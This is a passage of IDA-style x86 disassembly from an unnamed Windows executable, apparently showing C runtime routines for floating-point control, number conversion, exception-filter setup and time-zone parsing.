; ---------------------------------------------------------------------------
loc_424831: ; CODE XREF: sub_4247DF+3Fj
dec dword ptr [esi]
mov eax, [esi]
mov [eax], bl
loc_424837: ; CODE XREF: sub_4247DF+47j
mov eax, [esi+0Ch]
inc dword ptr [esi+4]
and al, 0EFh
or al, 1
mov [esi+0Ch], eax
mov eax, ebx
and eax, 0FFh
jmp short loc_42482E
sub_4247DF endp
; =============== S U B R O U T I N E =======================================
sub_42484D proc near ; CODE XREF: sub_421D76+52p
xor eax, eax
retn
sub_42484D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424850 proc near ; CODE XREF: sub_424885+Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
fstcw word ptr [ebp+var_4]
push [ebp+var_4]
call sub_42489B
mov esi, eax
mov eax, [ebp+arg_4]
not eax
and esi, eax
mov eax, [ebp+arg_0]
and eax, [ebp+arg_4]
or esi, eax
push esi
call sub_42492D
pop ecx
mov [ebp+arg_4], eax
pop ecx
fldcw word ptr [ebp+arg_4]
mov eax, esi
pop esi
leave
retn
sub_424850 endp
; =============== S U B R O U T I N E =======================================
sub_424885 proc near ; CODE XREF: sub_422062+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
and eax, 0FFF7FFFFh
push eax
push [esp+4+arg_0]
call sub_424850
pop ecx
pop ecx
retn
sub_424885 endp
; =============== S U B R O U T I N E =======================================
sub_42489B proc near ; CODE XREF: sub_424850+Cp
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push ebp
test bl, 1
push edi
jz short loc_4248AC
push 10h
pop eax
loc_4248AC: ; CODE XREF: sub_42489B+Cj
test bl, 4
jz short loc_4248B3
or al, 8
loc_4248B3: ; CODE XREF: sub_42489B+14j
test bl, 8
jz short loc_4248BA
or al, 4
loc_4248BA: ; CODE XREF: sub_42489B+1Bj
test bl, 10h
jz short loc_4248C1
or al, 2
loc_4248C1: ; CODE XREF: sub_42489B+22j
test bl, 20h
jz short loc_4248C8
or al, 1
loc_4248C8: ; CODE XREF: sub_42489B+29j
test bl, 2
jz short loc_4248D2
or eax, 80000h
loc_4248D2: ; CODE XREF: sub_42489B+30j
movzx ecx, bx
push esi
mov edx, ecx
mov esi, 0C00h
mov edi, 300h
and edx, esi
mov ebp, 200h
jz short loc_42490A
cmp edx, 400h
jz short loc_424907
cmp edx, 800h
jz short loc_424903
cmp edx, esi
jnz short loc_42490A
or eax, edi
jmp short loc_42490A
; ---------------------------------------------------------------------------
loc_424903: ; CODE XREF: sub_42489B+5Ej
or eax, ebp
jmp short loc_42490A
; ---------------------------------------------------------------------------
loc_424907: ; CODE XREF: sub_42489B+56j
or ah, 1
loc_42490A: ; CODE XREF: sub_42489B+4Ej
; sub_42489B+62j ...
and ecx, edi
pop esi
jz short loc_42491A
cmp ecx, ebp
jnz short loc_42491F
or eax, 10000h
jmp short loc_42491F
; ---------------------------------------------------------------------------
loc_42491A: ; CODE XREF: sub_42489B+72j
or eax, 20000h
loc_42491F: ; CODE XREF: sub_42489B+76j
; sub_42489B+7Dj
pop edi
pop ebp
test bh, 10h
pop ebx
jz short locret_42492C
or eax, 40000h
locret_42492C: ; CODE XREF: sub_42489B+8Aj
retn
sub_42489B endp
; =============== S U B R O U T I N E =======================================
sub_42492D proc near ; CODE XREF: sub_424850+23p
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push esi
test bl, 10h
jz short loc_42493D
push 1
pop eax
loc_42493D: ; CODE XREF: sub_42492D+Bj
test bl, 8
jz short loc_424944
or al, 4
loc_424944: ; CODE XREF: sub_42492D+13j
test bl, 4
jz short loc_42494B
or al, 8
loc_42494B: ; CODE XREF: sub_42492D+1Aj
test bl, 2
jz short loc_424952
or al, 10h
loc_424952: ; CODE XREF: sub_42492D+21j
test bl, 1
jz short loc_424959
or al, 20h
loc_424959: ; CODE XREF: sub_42492D+28j
test ebx, 80000h
jz short loc_424963
or al, 2
loc_424963: ; CODE XREF: sub_42492D+32j
mov ecx, ebx
mov edx, 300h
and ecx, edx
mov esi, 200h
jz short loc_424990
cmp ecx, 100h
jz short loc_42498D
cmp ecx, esi
jz short loc_424988
cmp ecx, edx
jnz short loc_424990
or ah, 0Ch
jmp short loc_424990
; ---------------------------------------------------------------------------
loc_424988: ; CODE XREF: sub_42492D+50j
or ah, 8
jmp short loc_424990
; ---------------------------------------------------------------------------
loc_42498D: ; CODE XREF: sub_42492D+4Cj
or ah, 4
loc_424990: ; CODE XREF: sub_42492D+44j
; sub_42492D+54j ...
mov ecx, ebx
and ecx, 30000h
jz short loc_4249A6
cmp ecx, 10000h
jnz short loc_4249A8
or eax, esi
jmp short loc_4249A8
; ---------------------------------------------------------------------------
loc_4249A6: ; CODE XREF: sub_42492D+6Bj
or eax, edx
loc_4249A8: ; CODE XREF: sub_42492D+73j
; sub_42492D+77j
pop esi
test ebx, 40000h
pop ebx
jz short locret_4249B5
or ah, 10h
locret_4249B5: ; CODE XREF: sub_42492D+83j
retn
sub_42492D endp
; =============== S U B R O U T I N E =======================================
sub_4249B6 proc near ; CODE XREF: sub_424A55+48p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
push 20h
cdq
pop ecx
idiv ecx
push 1Fh
mov esi, eax
mov eax, [esp+8+arg_4]
cdq
idiv ecx
pop ecx
mov eax, [esp+4+arg_0]
sub ecx, edx
or edx, 0FFFFFFFFh
shl edx, cl
not edx
test [eax+esi*4], edx
jnz short loc_4249FB
inc esi
cmp esi, 3
jge short loc_4249F6
lea eax, [eax+esi*4]
loc_4249E8: ; CODE XREF: sub_4249B6+3Ej
cmp dword ptr [eax], 0
jnz short loc_4249FB
inc esi
add eax, 4
cmp esi, 3
jl short loc_4249E8
loc_4249F6: ; CODE XREF: sub_4249B6+2Dj
push 1
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4249FB: ; CODE XREF: sub_4249B6+27j
; sub_4249B6+35j
xor eax, eax
pop esi
retn
sub_4249B6 endp
; =============== S U B R O U T I N E =======================================
sub_4249FF proc near ; CODE XREF: sub_424A55+57p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push ebx
push esi
push edi
push 20h
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
idiv ecx
mov esi, eax
mov eax, [esp+0Ch+arg_4]
cdq
idiv ecx
lea edi, [ebx+esi*4]
push edi
push 1Fh
pop ecx
push 1
pop eax
sub ecx, edx
shl eax, cl
push eax
push dword ptr [edi]
call sub_425880
add esp, 0Ch
dec esi
js short loc_424A51
lea edi, [ebx+esi*4]
loc_424A38: ; CODE XREF: sub_4249FF+50j
test eax, eax
jz short loc_424A51
push edi
push 1
push dword ptr [edi]
call sub_425880
add esp, 0Ch
dec esi
sub edi, 4
test esi, esi
jge short loc_424A38
loc_424A51: ; CODE XREF: sub_4249FF+34j
; sub_4249FF+3Bj
pop edi
pop esi
pop ebx
retn
sub_4249FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424A55 proc near ; CODE XREF: sub_424BB0+81p
; sub_424BB0+CCp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
lea edi, [eax-1]
push 20h
pop ecx
and [ebp+var_4], 0
lea ebx, [edi+1]
push 20h
mov eax, ebx
pop esi
cdq
idiv ecx
push 1Fh
mov ecx, eax
mov eax, ebx
cdq
idiv esi
mov eax, [ebp+arg_0]
pop esi
push 1
mov [ebp+var_8], ecx
lea eax, [eax+ecx*4]
mov [ebp+arg_4], eax
sub esi, edx
pop edx
mov ecx, esi
shl edx, cl
test [eax], edx
jz short loc_424AB9
inc ebx
push ebx
push [ebp+arg_0]
call sub_4249B6
pop ecx
test eax, eax
pop ecx
jnz short loc_424AB6
push edi
push [ebp+arg_0]
call sub_4249FF
pop ecx
mov [ebp+var_4], eax
pop ecx
loc_424AB6: ; CODE XREF: sub_424A55+51j
mov eax, [ebp+arg_4]
loc_424AB9: ; CODE XREF: sub_424A55+41j
or edx, 0FFFFFFFFh
mov ecx, esi
shl edx, cl
push 3
pop ecx
and [eax], edx
mov eax, [ebp+var_8]
inc eax
cmp eax, ecx
jge short loc_424AD9
mov edx, [ebp+arg_0]
sub ecx, eax
lea edi, [edx+eax*4]
xor eax, eax
rep stosd
loc_424AD9: ; CODE XREF: sub_424A55+76j
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_424A55 endp
; =============== S U B R O U T I N E =======================================
sub_424AE1 proc near ; CODE XREF: sub_424BB0+75p
; sub_424BB0+B6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push esi
push 3
sub ecx, eax
pop edx
loc_424AEF: ; CODE XREF: sub_424AE1+17j
mov esi, [eax]
mov [ecx+eax], esi
add eax, 4
dec edx
jnz short loc_424AEF
pop esi
retn
sub_424AE1 endp
; =============== S U B R O U T I N E =======================================
sub_424AFC proc near ; CODE XREF: sub_424BB0+5Fp
; sub_424BB0+9Ep ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor eax, eax
stosd
stosd
stosd
pop edi
retn
sub_424AFC endp
; =============== S U B R O U T I N E =======================================
sub_424B08 proc near ; CODE XREF: sub_424BB0+4Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
loc_424B0E: ; CODE XREF: sub_424B08+12j
cmp dword ptr [eax], 0
jnz short loc_424B20
inc ecx
add eax, 4
cmp ecx, 3
jl short loc_424B0E
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_424B20: ; CODE XREF: sub_424B08+9j
xor eax, eax
retn
sub_424B08 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424B23 proc near ; CODE XREF: sub_424BB0+C0p
; sub_424BB0+DAp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
push 20h
mov edi, [ebp+arg_0]
pop ebx
or esi, 0FFFFFFFFh
cdq
mov ecx, ebx
mov [ebp+var_4], 3
idiv ecx
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
cdq
idiv ecx
and [ebp+arg_4], 0
mov ecx, edx
shl esi, cl
sub ebx, edx
not esi
loc_424B59: ; CODE XREF: sub_424B23+58j
mov eax, [edi]
mov ecx, eax
and ecx, esi
mov [ebp+var_8], ecx
mov ecx, edx
shr eax, cl
or eax, [ebp+arg_4]
mov [edi], eax
mov eax, [ebp+var_8]
mov ecx, ebx
add edi, 4
shl eax, cl
dec [ebp+var_4]
mov [ebp+arg_4], eax
jnz short loc_424B59
mov edi, [ebp+var_C]
push 2
pop ebx
mov esi, edi
push 8
pop ecx
shl esi, 2
loc_424B8B: ; CODE XREF: sub_424B23+86j
cmp ebx, edi
jl short loc_424B9E
mov edx, [ebp+arg_0]
mov eax, ecx
sub eax, esi
mov eax, [eax+edx]
mov [ecx+edx], eax
jmp short loc_424BA5
; ---------------------------------------------------------------------------
loc_424B9E: ; CODE XREF: sub_424B23+6Aj
mov eax, [ebp+arg_0]
and dword ptr [ecx+eax], 0
loc_424BA5: ; CODE XREF: sub_424B23+79j
dec ebx
sub ecx, 4
jns short loc_424B8B
pop edi
pop esi
pop ebx
leave
retn
sub_424B23 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424BB0 proc near ; CODE XREF: sub_424D1C+Dp
; sub_424D32+Dp
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
movzx ecx, word ptr [eax+0Ah]
mov ebx, ecx
and ecx, 8000h
mov [ebp+arg_0], ecx
mov ecx, [eax+6]
mov [ebp+var_C], ecx
mov ecx, [eax+2]
movzx eax, word ptr [eax]
mov edi, [ebp+arg_8]
and ebx, 7FFFh
sub ebx, 3FFFh
mov [ebp+var_8], ecx
shl eax, 10h
cmp ebx, 0FFFFC001h
mov [ebp+var_4], eax
jnz short loc_424C1D
lea eax, [ebp+var_C]
xor esi, esi
push eax
call sub_424B08
test eax, eax
pop ecx
jnz loc_424CDC
lea eax, [ebp+var_C]
push eax
call sub_424AFC
pop ecx
loc_424C15: ; CODE XREF: sub_424BB0+E4j
push 2
loc_424C17: ; CODE XREF: sub_424BB0+110j
pop eax
jmp loc_424CDE
; ---------------------------------------------------------------------------
loc_424C1D: ; CODE XREF: sub_424BB0+45j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_18]
push eax
call sub_424AE1
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_424A55
add esp, 10h
test eax, eax
jz short loc_424C3E
inc ebx
loc_424C3E: ; CODE XREF: sub_424BB0+8Bj
mov eax, [edi+4]
mov ecx, eax
sub ecx, [edi+8]
cmp ebx, ecx
jge short loc_424C56
lea eax, [ebp+var_C]
push eax
call sub_424AFC
pop ecx
jmp short loc_424C92
; ---------------------------------------------------------------------------
loc_424C56: ; CODE XREF: sub_424BB0+98j
cmp ebx, eax
jg short loc_424C99
sub eax, ebx
mov esi, eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_C]
push eax
call sub_424AE1
lea eax, [ebp+var_C]
push esi
push eax
call sub_424B23
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_424A55
mov eax, [edi+0Ch]
inc eax
push eax
lea eax, [ebp+var_C]
push eax
call sub_424B23
add esp, 20h
loc_424C92: ; CODE XREF: sub_424BB0+A4j
xor esi, esi
jmp loc_424C15
; ---------------------------------------------------------------------------
loc_424C99: ; CODE XREF: sub_424BB0+A8j
cmp ebx, [edi]
jl short loc_424CC5
lea eax, [ebp+var_C]
push eax
call sub_424AFC
push dword ptr [edi+0Ch]
or byte ptr [ebp+var_C+3], 80h
lea eax, [ebp+var_C]
push eax
call sub_424B23
mov esi, [edi+14h]
add esp, 0Ch
add esi, [edi]
push 1
jmp loc_424C17
; ---------------------------------------------------------------------------
loc_424CC5: ; CODE XREF: sub_424BB0+EBj
push dword ptr [edi+0Ch]
mov esi, [edi+14h]
and byte ptr [ebp+var_C+3], 7Fh
lea eax, [ebp+var_C]
push eax
add esi, ebx
call sub_424B23
pop ecx
pop ecx
loc_424CDC: ; CODE XREF: sub_424BB0+55j
xor eax, eax
loc_424CDE: ; CODE XREF: sub_424BB0+68j
push 1Fh
pop ecx
sub ecx, [edi+0Ch]
mov edi, [edi+10h]
shl esi, cl
mov ecx, [ebp+arg_0]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or esi, ecx
or esi, [ebp+var_C]
cmp edi, 40h
jnz short loc_424D0D
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_8]
mov [ecx+4], esi
mov [ecx], edx
jmp short loc_424D17
; ---------------------------------------------------------------------------
loc_424D0D: ; CODE XREF: sub_424BB0+14Ej
cmp edi, 20h
jnz short loc_424D17
mov ecx, [ebp+arg_4]
mov [ecx], esi
loc_424D17: ; CODE XREF: sub_424BB0+15Bj
; sub_424BB0+160j
pop edi
pop esi
pop ebx
leave
retn
sub_424BB0 endp
; =============== S U B R O U T I N E =======================================
sub_424D1C proc near ; CODE XREF: sub_424D48+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43F968
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_424BB0
add esp, 0Ch
retn
sub_424D1C endp
; =============== S U B R O U T I N E =======================================
sub_424D32 proc near ; CODE XREF: sub_424D75+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43F980
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_424BB0
add esp, 0Ch
retn
sub_424D32 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424D48 proc near ; CODE XREF: sub_42219B+12p
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_425A21
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_424D1C
add esp, 24h
leave
retn
sub_424D48 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424D75 proc near ; CODE XREF: sub_42219B+2Dp
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_425A21
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_424D32
add esp, 24h
leave
retn
sub_424D75 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424DA2 proc near ; CODE XREF: sub_4221D9+65p
; sub_4222DD+63p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov ecx, [edx+0Ch]
push edi
lea edi, [esi+1]
mov byte ptr [esi], 30h
test ebx, ebx
mov eax, edi
jle short loc_424DDF
mov [ebp+arg_0], ebx
xor ebx, ebx
loc_424DC5: ; CODE XREF: sub_424DA2+38j
mov dl, [ecx]
test dl, dl
jz short loc_424DD1
movsx edx, dl
inc ecx
jmp short loc_424DD4
; ---------------------------------------------------------------------------
loc_424DD1: ; CODE XREF: sub_424DA2+27j
push 30h
pop edx
loc_424DD4: ; CODE XREF: sub_424DA2+2Dj
mov [eax], dl
inc eax
dec [ebp+arg_0]
jnz short loc_424DC5
mov edx, [ebp+arg_8]
loc_424DDF: ; CODE XREF: sub_424DA2+1Cj
and byte ptr [eax], 0
test ebx, ebx
jl short loc_424DF8
cmp byte ptr [ecx], 35h
jl short loc_424DF8
loc_424DEB: ; CODE XREF: sub_424DA2+52j
dec eax
cmp byte ptr [eax], 39h
jnz short loc_424DF6
mov byte ptr [eax], 30h
jmp short loc_424DEB
; ---------------------------------------------------------------------------
loc_424DF6: ; CODE XREF: sub_424DA2+4Dj
inc byte ptr [eax]
loc_424DF8: ; CODE XREF: sub_424DA2+42j
; sub_424DA2+47j
cmp byte ptr [esi], 31h
jnz short loc_424E02
inc dword ptr [edx+4]
jmp short loc_424E14
; ---------------------------------------------------------------------------
loc_424E02: ; CODE XREF: sub_424DA2+59j
push edi
call sub_41B7B0
inc eax
push eax
push edi
push esi
call sub_41D460
add esp, 10h
loc_424E14: ; CODE XREF: sub_424DA2+5Ej
pop edi
pop esi
pop ebx
pop ebp
retn
sub_424DA2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424E19 proc near ; CODE XREF: sub_4221D9+3Fp
; sub_4222DD+46p ...
var_C = byte ptr -0Ch
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
lea eax, [ebp+arg_0]
push edi
push eax
lea eax, [ebp+var_C]
push eax
call sub_424E7D
pop ecx
lea esi, [ebp+var_C]
pop ecx
push offset word_4DE228
push 0
push 11h
sub esp, 0Ch
mov edi, esp
movsd
movsd
movsw
call sub_425EF2
mov dword_4DE250, eax
add esp, 18h
movsx eax, byte_4DE22A
mov dword_4DE248, eax
pop edi
movsx eax, word_4DE228
mov dword_4DE24C, eax
mov dword_4DE254, offset dword_4DE22C
mov eax, offset dword_4DE248
pop esi
leave
retn
sub_424E19 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424E7D proc near ; CODE XREF: sub_424E19+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_4]
push ebx
push esi
push edi
mov ax, [edx+6]
mov edi, 7FFh
mov ecx, eax
and eax, 8000h
shr ecx, 4
and ecx, edi
mov [ebp+arg_4], eax
mov eax, [edx+4]
mov edx, [edx]
movzx ebx, cx
mov esi, 80000000h
and eax, 0FFFFFh
test ebx, ebx
mov [ebp+var_4], esi
jz short loc_424ECB
cmp ebx, edi
jz short loc_424EC4
lea edi, [ecx+3C00h]
jmp short loc_424EEC
; ---------------------------------------------------------------------------
loc_424EC4: ; CODE XREF: sub_424E7D+3Dj
mov edi, 7FFFh
jmp short loc_424EEC
; ---------------------------------------------------------------------------
loc_424ECB: ; CODE XREF: sub_424E7D+39j
xor ebx, ebx
cmp eax, ebx
jnz short loc_424EE3
cmp edx, ebx
jnz short loc_424EE3
mov eax, [ebp+arg_0]
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], bx
jmp short loc_424F2E
; ---------------------------------------------------------------------------
loc_424EE3: ; CODE XREF: sub_424E7D+52j
; sub_424E7D+56j
lea edi, [ecx+3C01h]
mov [ebp+var_4], ebx
loc_424EEC: ; CODE XREF: sub_424E7D+45j
; sub_424E7D+4Cj
mov ecx, edx
shr ecx, 15h
shl eax, 0Bh
or ecx, eax
mov eax, [ebp+arg_0]
or ecx, [ebp+var_4]
shl edx, 0Bh
mov [eax+4], ecx
mov [eax], edx
loc_424F04: ; CODE XREF: sub_424E7D+A6j
test ecx, esi
jnz short loc_424F25
mov edx, [eax]
add ecx, ecx
mov ebx, edx
shr ebx, 1Fh
or ebx, ecx
lea ecx, [edx+edx]
mov [eax], ecx
mov [eax+4], ebx
add edi, 0FFFFh
mov ecx, ebx
jmp short loc_424F04
; ---------------------------------------------------------------------------
loc_424F25: ; CODE XREF: sub_424E7D+89j
mov ecx, [ebp+arg_4]
or ecx, edi
mov [eax+8], cx
loc_424F2E: ; CODE XREF: sub_424E7D+64j
pop edi
pop esi
pop ebx
leave
retn
sub_424E7D endp
; ---------------------------------------------------------------------------
push 2
call sub_41E229
pop ecx
retn
; =============== S U B R O U T I N E =======================================
sub_424F3C proc near ; DATA XREF: sub_424F82o
; .packed:0043F5A8o ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_424F5F
cmp dword ptr [eax+10h], 3
jnz short loc_424F5F
cmp dword ptr [eax+14h], 19930520h
jnz short loc_424F5F
jmp sub_422D5C
; ---------------------------------------------------------------------------
loc_424F5F: ; CODE XREF: sub_424F3C+Dj
; sub_424F3C+13j ...
mov eax, dword_4DE258
test eax, eax
jz short loc_424F7C
push eax
call sub_424FD8
test eax, eax
pop ecx
jz short loc_424F7C
push esi
call dword_4DE258
jmp short loc_424F7E
; ---------------------------------------------------------------------------
loc_424F7C: ; CODE XREF: sub_424F3C+2Aj
; sub_424F3C+35j
xor eax, eax
loc_424F7E: ; CODE XREF: sub_424F3C+3Ej
pop esi
retn 4
sub_424F3C endp
; =============== S U B R O U T I N E =======================================
sub_424F82 proc near ; DATA XREF: .packed:0042A030o
push offset sub_424F3C
call dword_42801C ; SetUnhandledExceptionFilter
mov dword_4DE258, eax
retn
sub_424F82 endp
; =============== S U B R O U T I N E =======================================
sub_424F93 proc near ; DATA XREF: .packed:0042A048o
push dword_4DE258
call dword_42801C ; SetUnhandledExceptionFilter
retn
sub_424F93 endp
; =============== S U B R O U T I N E =======================================
sub_424FA0 proc near ; CODE XREF: sub_4225B1+6Bp
; sub_422AC2+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call dword_428018 ; IsBadReadPtr
test eax, eax
jz short loc_424FB8
xor esi, esi
loc_424FB8: ; CODE XREF: sub_424FA0+14j
mov eax, esi
pop esi
retn
sub_424FA0 endp
; =============== S U B R O U T I N E =======================================
sub_424FBC proc near ; CODE XREF: sub_422AC2+73p
; sub_422AC2+BFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call dword_4281CC ; IsBadWritePtr
test eax, eax
jz short loc_424FD4
xor esi, esi
loc_424FD4: ; CODE XREF: sub_424FBC+14j
mov eax, esi
pop esi
retn
sub_424FBC endp
; =============== S U B R O U T I N E =======================================
sub_424FD8 proc near ; CODE XREF: sub_422AC2+15Bp
; sub_424F3C+2Dp
arg_0 = dword ptr 4
push esi
push 1
pop esi
push [esp+4+arg_0]
call dword_428014 ; IsBadCodePtr
test eax, eax
jz short loc_424FEC
xor esi, esi
loc_424FEC: ; CODE XREF: sub_424FD8+10j
mov eax, esi
pop esi
retn
sub_424FD8 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422D5C
loc_424FF0: ; CODE XREF: sub_422D5C:loc_422DADj
push 0Ah
call sub_423EAD
push 16h
call sub_426185
pop ecx
pop ecx
push 3
call sub_41BF92
; END OF FUNCTION CHUNK FOR sub_422D5C
; =============== S U B R O U T I N E =======================================
sub_425007 proc near ; CODE XREF: sub_422E69:loc_422EA8p
cmp dword_4DE318, 0
jnz short locret_42501B
call sub_42501C
inc dword_4DE318
locret_42501B: ; CODE XREF: sub_425007+7j
retn
sub_425007 endp
; =============== S U B R O U T I N E =======================================
sub_42501C proc near ; CODE XREF: sub_425007+9p
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
push edi
xor ebp, ebp
or ebx, 0FFFFFFFFh
push offset aTz ; "TZ"
xor edi, edi
mov dword_4DE260, ebp
mov dword_43FA40, ebx
mov dword_43FA30, ebx
call sub_4262F7
mov esi, eax
pop ecx
cmp esi, ebp
jnz loc_425145
push offset dword_4DE268
call dword_4281A4 ; GetTimeZoneInformation
cmp eax, ebx
jz loc_425274
mov eax, dword_4DE268
mov ecx, dword_4DE2BC
imul eax, 3Ch
cmp word_4DE2AE, bp
push 1
pop edx
mov dword_43F998, eax
mov dword_4DE260, edx
jz short loc_425093
mov esi, ecx
imul esi, 3Ch
add eax, esi
mov dword_43F998, eax
loc_425093: ; CODE XREF: sub_42501C+69j
cmp word_4DE302, bp
jz short loc_4250B7
mov eax, dword_4DE310
cmp eax, ebp
jz short loc_4250B7
sub eax, ecx
mov dword_43F99C, edx
imul eax, 3Ch
mov dword_43F9A0, eax
jmp short loc_4250C3
; ---------------------------------------------------------------------------
loc_4250B7: ; CODE XREF: sub_42501C+7Ej
; sub_42501C+87j
mov dword_43F99C, ebp
mov dword_43F9A0, ebp
loc_4250C3: ; CODE XREF: sub_42501C+99j
lea eax, [esp+14h+var_4]
mov esi, dword_428180
push eax
push ebp
push 3Fh
mov edi, 220h
push off_43FA24
push ebx
push offset dword_4DE26C
push edi
push dword_4DE0FC
call esi ; WideCharToMultiByte
test eax, eax
jz short loc_425100
cmp [esp+14h+var_4], ebp
jnz short loc_425100
mov eax, off_43FA24
and byte ptr [eax+3Fh], 0
jmp short loc_425108
; ---------------------------------------------------------------------------
loc_425100: ; CODE XREF: sub_42501C+D1j
; sub_42501C+D7j
mov eax, off_43FA24
and byte ptr [eax], 0
loc_425108: ; CODE XREF: sub_42501C+E2j
lea eax, [esp+14h+var_4]
push eax
push ebp
push 3Fh
push off_43FA28
push ebx
push offset dword_4DE2C0
push edi
push dword_4DE0FC
call esi ; WideCharToMultiByte
test eax, eax
jz loc_42526C
cmp [esp+14h+var_4], ebp
jnz loc_42526C
mov eax, off_43FA28
and byte ptr [eax+3Fh], 0
jmp loc_425274
; ---------------------------------------------------------------------------
loc_425145: ; CODE XREF: sub_42501C+2Dj
cmp byte ptr [esi], 0
jz loc_425274
mov eax, dword_4DE314
cmp eax, ebp
jz short loc_425168
push eax
push esi
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_425274
loc_425168: ; CODE XREF: sub_42501C+139j
push dword_4DE314
call sub_41B881
push esi
call sub_41B7B0
inc eax
push eax
call sub_41BCA5
add esp, 0Ch
cmp eax, ebp
mov dword_4DE314, eax
jz loc_425274
push esi
push eax
call sub_41C680
push 3
push esi
push off_43FA24
call sub_41BDC0
mov eax, off_43FA24
add esi, 3
add esp, 14h
and byte ptr [eax+3], 0
cmp byte ptr [esi], 2Dh
jnz short loc_4251BD
push 1
inc esi
pop edi
loc_4251BD: ; CODE XREF: sub_42501C+19Bj
push esi
call sub_41BEBE
pop ecx
mov bl, 30h
mov ecx, eax
imul ecx, 0E10h
mov dword_43F998, ecx
loc_4251D4: ; CODE XREF: sub_42501C+1C7j
mov al, [esi]
cmp al, 2Bh
jz short loc_4251E2
cmp al, bl
jl short loc_4251E5
cmp al, 39h
jg short loc_4251E5
loc_4251E2: ; CODE XREF: sub_42501C+1BCj
inc esi
jmp short loc_4251D4
; ---------------------------------------------------------------------------
loc_4251E5: ; CODE XREF: sub_42501C+1C0j
; sub_42501C+1C4j
cmp byte ptr [esi], 3Ah
jnz short loc_425238
inc esi
push esi
call sub_41BEBE
imul eax, 3Ch
pop ecx
mov ecx, dword_43F998
add ecx, eax
mov dword_43F998, ecx
loc_425203: ; CODE XREF: sub_42501C+1F2j
mov al, [esi]
cmp al, bl
jl short loc_425210
cmp al, 39h
jg short loc_425210
inc esi
jmp short loc_425203
